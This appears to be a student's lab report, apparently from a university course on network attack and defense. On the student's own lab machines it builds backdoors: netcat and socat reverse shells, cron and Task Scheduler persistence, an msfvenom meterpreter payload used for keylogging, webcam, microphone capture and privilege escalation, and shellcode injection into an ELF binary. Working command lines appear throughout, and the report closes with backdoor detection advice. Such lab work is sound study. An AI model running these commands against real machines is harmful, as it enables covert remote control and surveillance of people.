20242413 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242413 2026-2027-1 《网络与系统攻防技术》实验二实验报告

1. 基础知识

本次实验围绕"后门原理与远程控制"展开,涉及的基础知识如下:

(1)后门与反弹连接:后门(Backdoor)是绕过正常认证机制访问系统的隐蔽通道。连接方式分正向与反弹两种:正向连接由控制端主动连被控端,易被防火墙拦截;反弹连接由被控端主动向外连接控制端,防火墙通常只拦入站不拦出站,故反弹 shell 更为常用。本次实验五个任务全部基于反弹连接。

(2)netcat 与 socat:netcat(nc/ncat)是网络调试的"瑞士军刀",-l 监听、-e 把本地 shell 绑定到连接上。socat 是加强版,支持 pty 伪终端,EXEC:cmd.exe,pty,stderr 可交出完整的交互终端。

(3)cron 与任务计划程序:cron 是 Linux 定时任务守护进程,crontab -e 编辑,格式"分 时 日 月 周 命令";Windows 对应机制是任务计划程序(taskschd.msc)。两者都是后门持久化驻留的经典手法——让被控机到点自动回连。

(4)Metasploit 框架:msfvenom 把指定平台的反弹 shell 封装成可执行文件;exploit/multi/handler 是通用监听模块,payload、LHOST、LPORT 必须与生成时严格一致;Meterpreter 是内存级高级 payload,提供 sysinfo、record_mic、webcam_snap、keyscan_start、getsystem 等后渗透功能(多媒体功能主要面向 Windows)。

(5)shellcode 与 ELF 注入:msfvenom -x 参数可把 shellcode 注入已有可执行文件作模板,注入后文件大小不变、首个 LOAD 段权限变为 RWE;运行时被注入程序的 payload 在内存中执行并回连。

实验环境:控制端 Kali Linux 虚拟机(主机名 linlu,IP 192.168.31.129);被控端 Windows 11 物理主机(IP 192.168.31.1,账户名 linlu),双方经 VMware NAT 网络互通。

2. 实验内容

  1. netcat 获取主机 Shell,cron 启动定时反弹任务;
  2. socat 获取主机 Shell,Windows 任务计划程序启动;
  3. msfvenom 生成 Windows 后门,传送到主机并运行获取 Shell;
  4. meterpreter 会话中获取音频、摄像头、击键记录并尝试提权;
  5. MSF 生成 shellcode 注入实验一的 pwn1,获取反弹连接 Shell。

3. 实验过程

3.0 环境准备

两台机器互 ping 验证网络。Kali 主机名改为 linlu;Windows 实验期间关闭防火墙与 Defender 实时保护;附件 ncat、socat 解压至 C:\netcat_20242413、C:\socat_20242413。

image
image
image
image

3.1 任务一:netcat + cron

(1)手动验证:Windows 执行 ncat.exe -l -p 8888;Kali 执行 nc 192.168.31.1 8888 -e /bin/sh。Windows 端执行 whoami、hostname 返回 root、linlu,验证拿到 Kali shell。

image
image

(2)cron 定时反弹:Kali crontab -e 添加 */1 * * * * /usr/bin/nc 192.168.31.1 8888 -e /bin/sh,crontab -l 确认。Windows 重新监听后不做任何操作,整分时刻 cron 自动触发,Windows 端执行 hostname 返回 linlu、crontab -l 显示该任务,证明 shell 由 cron 自动启动。实验结束后删除定时任务。

image
image

3.2 任务二:socat + 任务计划

(1)手动验证:Kali socat -d -d TCP-LISTEN:8889 -,raw,echo=0;Windows socat.exe tcp:192.168.31.129:8889 exec:cmd.exe,pty,stderr。Kali 端出现 Windows 的 cmd 提示符,执行 hostname、dir 验证成功。

image
image

(2)任务计划启动:taskschd.msc 创建任务 SysCheck_20242413

Kali 提前挂好监听,到达触发时刻后打印 accepting connection from 192.168.31.1,自动获得 Windows cmd,无需人工操作。实验结束后删除该任务。

image
image

3.3 任务三:msfvenom Windows 后门

(1)生成后门:

image

生成 7168 字节可执行文件。

(2)传输:

image

dir 验证 7168 字节。

(3)启动监听:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.129
set LPORT 4444
exploit -j

(4)物理机运行 backdoor_20242413.exe(无任何提示,静默运行),msfconsole 显示 Meterpreter session 1 opened。sessions -i 1 进入会话,sysinfo 显示目标为 Windows 11(x64),getuid 显示当前用户权限。

image

3.4 任务四:meterpreter 后渗透

(1)击键记录:keyscan_start → 在物理机记事本输入测试字符串 → keyscan_dump 成功捕获全部击键,keyscan_stop 停止。

image
image

(2)摄像头:webcam_list 列出设备,webcam_snap 拍照成功,文件重命名为 webcam_20242413.jpeg,查看确认拍到真实画面。

image
image

(3)音频:record_mic -d 5 录制 5 秒麦克风,文件重命名为 audio_20242413.wav,ls 验证非空。

image

(4)提权:直接 getsystem 失败(见问题3);以管理员身份运行命令提示符重跑后门建立新会话,再次 getsystem 成功(technique 1),getuid 显示 NT AUTHORITY\SYSTEM。

image

3.5 任务五:shellcode 注入 pwn1

(1)准备模板:实验一pwn1,验证可正常运行。

image

(2)注入生成:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.129 LPORT=6666 -x pwn1_20242413 -f elf -o pwn1_bd_20242413

输出 Final size of elf file: 7419 bytes,与原文件等大。三条验证:ls 大小一致;file 仍为 ELF 32-bit;readelf 首个 LOAD 段权限变为 RWE。

image

(3)监听与运行:另起 msfconsole,payload linux/x86/meterpreter/reverse_tcp,LPORT 6666,exploit -j;运行 ./pwn1_bd_20242413,收到 Meterpreter session 1 opened。进入会话 sysinfo 显示 Computer: linlu、Meterpreter: x86/linux,getuid 为 kali。

image

4. 问题及解决方案

问题1:任务计划设定触发时间到了,Kali 监听端毫无反应。
解决方案:"一次"类型的触发器,若开始时间在任务保存那一刻已过,则永远不会再触发。重新编辑触发器,把开始时间改为当前时间+3 分钟,到点后任务正常触发。

问题2:meterpreter 中 getsystem 提权失败,六种技术全部报 Operation failed。
解决方案:分析原因是后门进程以普通权限启动、没有管理员令牌,命名管道冒充无法进行。以"管理员身份运行"命令提示符重新运行后门,新会话中 getsystem 一次成功(technique 1),getuid 显示 NT AUTHORITY\SYSTEM。

问题3:msfvenom -x 注入 pwn1 后生成文件只有 123 字节(应为 7419 字节)。

image
image

解决方案:定位到 Metasploit 框架 bug:lib/msf/util/exe/linux/x86.rb 中
to_linux_x86_custom_elf 函数结尾漏写返回值。先用 grep 确认位置:

image

编辑该文件补一行显式返回 elf,保存后重新生成,输出恢复正常(7419 字节)。

5. 学习感悟、思考等

本次实验完整走通了"生成后门 → 投递 → 运行 → 持久化 → 后渗透"的链条。最大的体会是:拿到 shell 容易,藏住 shell 难。一条 nc 命令就能弹回 shell,但让被控机在无人操作、重启之后依然能连回来,才是后门的核心——cron 和任务计划程序就是最小化的持久化方案。

以物理机作被控端让我对"后门危害"有了切身体会:整个过程目标端几乎无感知(无窗口、无提示),却能被拍照、录音、记录键盘直至拿到 SYSTEM 权限。实验期间不得不关闭安全防护,也让我理解了"不乱点陌生程序、保持杀软开启"不是空话。

未做任何处理的 msfvenom 后门会被 Defender 直接识别清除,实战中需通过编码、加壳、分离加载等手段对抗杀软,这是本次实验未深入但值得继续学习的方向。

思考题回答:

(1) 后门进入系统的可能方式:钓鱼邮件附件诱导运行;软件安装包被篡改(供应链攻击);利用网站漏洞上传 webshell 后再传可执行后门;破解软件、游戏外挂捆绑;U 盘摆渡自动运行;系统或软件漏洞利用直接植入。

(2) 后门的启动方式——Windows:注册表 Run 启动项、启动文件夹、任务计划程序(本次实验所用)、注册系统服务、DLL 劫持;Linux:crontab 定时任务(本次实验所用)、systemd service 开机自启、/etc/rc.local、.bashrc 登录触发、sshd 配置后门账号。

(3) Meterpreter 印象深刻的功能:内存加载不落盘,杀毒软件难以查杀;webcam_snap / record_mic 一条命令远程拍照录音;keyscan 无声记录键盘;getsystem 提权到 SYSTEM;整个控制过程对目标用户完全透明。

(4) 发现系统是否被装后门:检查启动项(注册表 Run 键、启动文件夹、任务计划、服务列表;Linux 查 crontab -l、/etc/systemd/system);netstat -ano / ss -tlnp 查异常外连;任务管理器 / ps aux 查陌生进程;检查账户是否被新增、文件 hash 是否被篡改;借助 rkhunter、chkrootkit、杀软全盘扫描及日志审计辅助判断。

posted @ 2026-10-19 09:53  黄色树林  阅读(3)  评论(0)    收藏  举报